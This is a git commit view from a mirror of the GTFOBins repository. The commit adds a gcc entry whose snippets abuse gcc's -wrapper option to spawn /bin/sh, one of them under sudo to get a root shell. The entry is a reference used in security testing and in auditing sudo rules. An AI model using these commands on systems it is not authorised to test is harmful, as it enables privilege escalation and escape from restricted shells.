mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Create gcc.md
This commit is contained in:
parent
0adf67ca2f
commit
dec4a7f928
17
_gtfobins/gcc.md
Normal file
17
_gtfobins/gcc.md
Normal file
@ -0,0 +1,17 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '#!/bin/sh' > $TF/x
|
||||
echo '/bin/sh' >> $TF/x
|
||||
chmod +x $TF/x
|
||||
gcc -wrapper $TF/x $TF/x
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '#!/bin/sh' > $TF/x
|
||||
echo '/bin/sh' >> $TF/x
|
||||
chmod +x $TF/x
|
||||
sudo gcc -wrapper $TF/x $TF/x
|
||||
---
|
Loading…
Reference in New Issue
Block a user